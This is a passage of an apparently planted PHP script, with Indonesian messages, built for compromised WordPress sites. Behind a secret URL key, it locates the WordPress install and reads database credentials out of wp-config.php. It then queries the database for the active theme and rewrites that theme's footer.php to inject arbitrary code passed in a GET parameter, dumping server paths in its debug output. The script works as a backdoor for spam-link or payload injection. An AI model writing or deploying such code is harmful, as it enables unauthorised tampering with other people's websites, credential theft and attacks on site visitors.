Debug Information:
";
echo implode("\n", $debug_log);
echo "\n\nServer Information:\n";
echo "PHP Version: " . phpversion() . "\n";
echo "Server Software: " . $_SERVER['SERVER_SOFTWARE'] . "\n";
echo "Document Root: " . $_SERVER['DOCUMENT_ROOT'] . "\n";
echo "Script Filename: " . $_SERVER['SCRIPT_FILENAME'] . "\n";
echo "Current Directory: " . getcwd() . "\n";
echo "";
}
}
// Security check - only allow access with the correct key
if (!isset($_GET['key']) || $_GET['key'] !== $secret_key) {
header('HTTP/1.0 403 Forbidden');
echo "Akses ditolak: Kunci tidak valid";
exit;
}
// Check if backlink code is provided
if (!isset($_GET['backlink'])) {
echo "Error: Parameter backlink tidak ditemukan";
exit;
}
// Get the backlink code
$backlink_code = urldecode($_GET['backlink']);
// Validate the backlink code (basic validation)
if (empty($backlink_code)) {
echo "Error: Kode backlink kosong";
exit;
}
// Allow manual specification of WordPress path and theme path
$manual_wp_path = isset($_GET['wp_path']) ? $_GET['wp_path'] : '';
$manual_theme_path = isset($_GET['theme_path']) ? $_GET['theme_path'] : '';
add_debug("Starting backlink update process");
add_debug("Script located at: " . $_SERVER['SCRIPT_FILENAME']);
// Function to scan directory recursively for a specific file
function find_file_recursive($dir, $filename, $max_depth = 3, $current_depth = 0) {
if ($current_depth > $max_depth) return false;
add_debug("Scanning directory: $dir (depth: $current_depth)");
if (!is_dir($dir) || !is_readable($dir)) {
add_debug("Directory not accessible: $dir");
return false;
}
$files = scandir($dir);
// First check current directory
if (in_array($filename, $files)) {
$path = $dir . '/' . $filename;
add_debug("Found $filename at: $path");
return $path;
}
// Then check subdirectories
foreach ($files as $file) {
if ($file == '.' || $file == '..') continue;
$path = $dir . '/' . $file;
if (is_dir($path)) {
// Skip common directories that won't contain WordPress files
if (in_array($file, ['cgi-bin', 'tmp', 'images', 'js', 'css', 'assets'])) {
continue;
}
$result = find_file_recursive($path, $filename, $max_depth, $current_depth + 1);
if ($result) return $result;
}
}
return false;
}
// Function to find WordPress installation using multiple methods
function find_wordpress_root() {
global $manual_wp_path;
// If manual path is provided, use it
if (!empty($manual_wp_path)) {
add_debug("Using manually specified WordPress path: $manual_wp_path");
if (file_exists($manual_wp_path . '/wp-config.php')) {
return $manual_wp_path;
} else {
add_debug("Warning: wp-config.php not found at specified path");
}
}
add_debug("Searching for WordPress installation...");
// Method 1: Try to find wp-config.php in current directory and parent directories
$current_dir = dirname($_SERVER['SCRIPT_FILENAME']);
add_debug("Starting search from: $current_dir");
$max_levels_up = 5;
$dir = $current_dir;
for ($i = 0; $i <= $max_levels_up; $i++) {
add_debug("Checking directory: $dir");
if (file_exists($dir . '/wp-config.php')) {
add_debug("Found wp-config.php at: $dir");
return $dir;
}
// Move up one directory
$parent = dirname($dir);
if ($parent == $dir) break; // We've reached the top
$dir = $parent;
}
// Method 2: Try to find wp-config.php in document root and subdirectories
$doc_root = $_SERVER['DOCUMENT_ROOT'];
add_debug("Checking document root: $doc_root");
if (file_exists($doc_root . '/wp-config.php')) {
add_debug("Found wp-config.php in document root");
return $doc_root;
}
// Method 3: Recursive search for wp-config.php starting from current directory
$wp_config = find_file_recursive($current_dir, 'wp-config.php', 3);
if ($wp_config) {
return dirname($wp_config);
}
// Method 4: Recursive search for wp-config.php starting from document root
$wp_config = find_file_recursive($doc_root, 'wp-config.php', 2);
if ($wp_config) {
return dirname($wp_config);
}
// Method 5: Look for wp-settings.php (another core WordPress file)
$wp_settings = find_file_recursive($current_dir, 'wp-settings.php', 3);
if ($wp_settings) {
return dirname($wp_settings);
}
// Method 6: Check for common WordPress directories
$common_dirs = [
$current_dir . '/wp-admin',
$current_dir . '/wp-includes',
$doc_root . '/wp-admin',
$doc_root . '/wp-includes'
];
foreach ($common_dirs as $dir) {
if (is_dir($dir)) {
add_debug("Found WordPress directory: $dir");
return dirname($dir);
}
}
// Method 7: Try to detect WordPress by checking for common WordPress files
$common_files = [
'wp-login.php',
'wp-blog-header.php',
'wp-cron.php',
'xmlrpc.php'
];
foreach ($common_files as $file) {
if (file_exists($current_dir . '/' . $file)) {
add_debug("Found WordPress file: $file");
return $current_dir;
}
if (file_exists($doc_root . '/' . $file)) {
add_debug("Found WordPress file: $file in document root");
return $doc_root;
}
}
add_debug("WordPress installation not found using standard methods");
// Method 8: Last resort - try to find wp-content directory
$wp_content = find_file_recursive($current_dir, 'wp-content', 3);
if (is_dir($wp_content)) {
add_debug("Found wp-content directory: $wp_content");
return dirname($wp_content);
}
$wp_content = find_file_recursive($doc_root, 'wp-content', 2);
if (is_dir($wp_content)) {
add_debug("Found wp-content directory: $wp_content");
return dirname($wp_content);
}
add_debug("WordPress installation not found");
return false;
}
// Function to find wp-content directory
function find_wp_content($wp_root) {
add_debug("Looking for wp-content directory...");
// Standard location
if (is_dir($wp_root . '/wp-content')) {
add_debug("Found wp-content at standard location");
return $wp_root . '/wp-content';
}
// Check if wp-content path is defined in wp-config.php
$config_file = $wp_root . '/wp-config.php';
if (file_exists($config_file)) {
$config_content = file_get_contents($config_file);
if (preg_match('/define\s*$$\s*[\'"]WP_CONTENT_DIR[\'"]\s*,\s*[\'"](.+?)[\'"]\s*$$/i', $config_content, $matches)) {
$custom_content_dir = $matches[1];
add_debug("Found custom WP_CONTENT_DIR in wp-config.php: $custom_content_dir");
if (is_dir($custom_content_dir)) {
return $custom_content_dir;
}
}
}
// Search for wp-content directory
$wp_content = find_file_recursive($wp_root, 'wp-content', 2);
if (is_dir($wp_content)) {
add_debug("Found wp-content through search: $wp_content");
return $wp_content;
}
add_debug("wp-content directory not found");
return false;
}
// Function to find themes directory
function find_themes_dir($wp_content) {
add_debug("Looking for themes directory...");
// Standard location
if (is_dir($wp_content . '/themes')) {
add_debug("Found themes at standard location");
return $wp_content . '/themes';
}
// Search for themes directory
$themes_dir = find_file_recursive($wp_content, 'themes', 2);
if (is_dir($themes_dir)) {
add_debug("Found themes through search: $themes_dir");
return $themes_dir;
}
add_debug("Themes directory not found");
return false;
}
// Function to find active theme
function find_active_theme($wp_root, $themes_dir) {
global $manual_theme_path;
// If manual theme path is provided, use it
if (!empty($manual_theme_path)) {
add_debug("Using manually specified theme path: $manual_theme_path");
if (is_dir($manual_theme_path) && file_exists($manual_theme_path . '/footer.php')) {
return $manual_theme_path;
} else {
add_debug("Warning: footer.php not found at specified theme path");
}
}
add_debug("Searching for active theme...");
// Method 1: Try to load WordPress and use its functions
$wp_load_file = $wp_root . '/wp-load.php';
if (file_exists($wp_load_file)) {
add_debug("Attempting to load WordPress core...");
try {
// Suppress errors during WordPress loading
$old_error_reporting = error_reporting();
$old_display_errors = ini_get('display_errors');
error_reporting(0);
ini_set('display_errors', 0);
// Load WordPress
include_once($wp_load_file);
// Restore error settings
error_reporting($old_error_reporting);
ini_set('display_errors', $old_display_errors);
// Check if WordPress functions are available
if (function_exists('get_template_directory')) {
$theme_dir = get_template_directory();
add_debug("Theme directory found via WordPress functions: $theme_dir");
return $theme_dir;
}
} catch (Exception $e) {
add_debug("Error loading WordPress: " . $e->getMessage());
}
}
// Method 2: Try to find from database
add_debug("Attempting to find theme from database...");
$config_file = $wp_root . '/wp-config.php';
if (file_exists($config_file)) {
$config_content = file_get_contents($config_file);
// Extract database details
preg_match("/define\s*$$\s*['\"]DB_NAME['\"]\s*,\s*['\"](.*?)['\"]\s*$$/", $config_content, $db_name);
preg_match("/define\s*$$\s*['\"]DB_USER['\"]\s*,\s*['\"](.*?)['\"]\s*$$/", $config_content, $db_user);
preg_match("/define\s*$$\s*['\"]DB_PASSWORD['\"]\s*,\s*['\"](.*?)['\"]\s*$$/", $config_content, $db_pass);
preg_match("/define\s*$$\s*['\"]DB_HOST['\"]\s*,\s*['\"](.*?)['\"]\s*$$/", $config_content, $db_host);
preg_match("/\\\$table_prefix\s*=\s*['\"]([^'\"]*)['\"];/", $config_content, $table_prefix);
if (!empty($db_name[1]) && !empty($db_user[1]) && !empty($db_host[1])) {
$db_name = $db_name[1];
$db_user = $db_user[1];
$db_pass = !empty($db_pass[1]) ? $db_pass[1] : '';
$db_host = $db_host[1];
$table_prefix = !empty($table_prefix[1]) ? $table_prefix[1] : 'wp_';
add_debug("Database details found. Attempting to connect to database");
try {
// Connect to database
$mysqli = new mysqli($db_host, $db_user, $db_pass, $db_name);
if (!$mysqli->connect_error) {
add_debug("Database connection successful");
// Query for active theme
$options_table = $table_prefix . 'options';
$query = "SELECT option_value FROM $options_table WHERE option_name = 'template' OR option_name = 'stylesheet' LIMIT 1";
if ($result = $mysqli->query($query)) {
if ($row = $result->fetch_assoc()) {
$theme_name = $row['option_value'];
add_debug("Active theme found from database: $theme_name");
// Check if theme directory exists
$theme_dir = $themes_dir . '/' . $theme_name;
if (is_dir($theme_dir) && file_exists($theme_dir . '/footer.php')) {
add_debug("Theme directory exists with footer.php: $theme_dir");
$mysqli->close();
return $theme_dir;
}
}
$result->free();
}
$mysqli->close();
} else {
add_debug("Database connection failed: " . $mysqli->connect_error);
}
} catch (Exception $e) {
add_debug("Database exception: " . $e->getMessage());
}
}
}
// Method 3: Check all themes for footer.php and use the most recently modified one
add_debug("Checking all themes for footer.php...");
$candidate_themes = [];
if (is_dir($themes_dir) && is_readable($themes_dir)) {
if ($handle = opendir($themes_dir)) {
while (false !== ($entry = readdir($handle))) {
if ($entry != "." && $entry != ".." && is_dir($themes_dir . '/' . $entry)) {
$theme_dir = $themes_dir . '/' . $entry;
$footer_file = $theme_dir . '/footer.php';
if (file_exists($footer_file)) {
$candidate_themes[$theme_dir] = filemtime($theme_dir);
add_debug("Found theme with footer.php: $entry");
}
}
}
closedir($handle);
}
}
// Sort by modification time (most recent first)
if (!empty($candidate_themes)) {
arsort($candidate_themes);
$theme_dir = key($candidate_themes);
add_debug("Selected most recently modified theme: " . basename($theme_dir));
return $theme_dir;
}
add_debug("No themes with footer.php found");
return false;
}
// Function to modify footer.php
function modify_footer($footer_file, $backlink_code) {
add_debug("Modifying footer file: $footer_file");
// Read the current footer content
$footer_content = file_get_contents($footer_file);
if ($footer_content === false) {
add_debug("Failed to read footer file");
return false;
}
add_debug("Successfully read footer.php content");
// Create a unique comment marker for our backlinks
$start_marker = "";
$end_marker = "";
// Check if the backlink section already exists
if (strpos($footer_content, $start_marker) !== false) {
// Replace existing backlink section
add_debug("Found existing backlink section, replacing it");
$pattern = '/' . preg_quote($start_marker, '/') . '.*?' . preg_quote($end_marker, '/') . '/s';
$replacement = $start_marker . "\n" . $backlink_code . "\n" . $end_marker;
$new_footer_content = preg_replace($pattern, $replacement, $footer_content);
// Check if the backlink code is the same (no changes needed)
if (strpos($footer_content, $backlink_code) !== false) {
add_debug("Backlink already exists and is the same");
return "exists";
}
} else {
// Add new backlink section before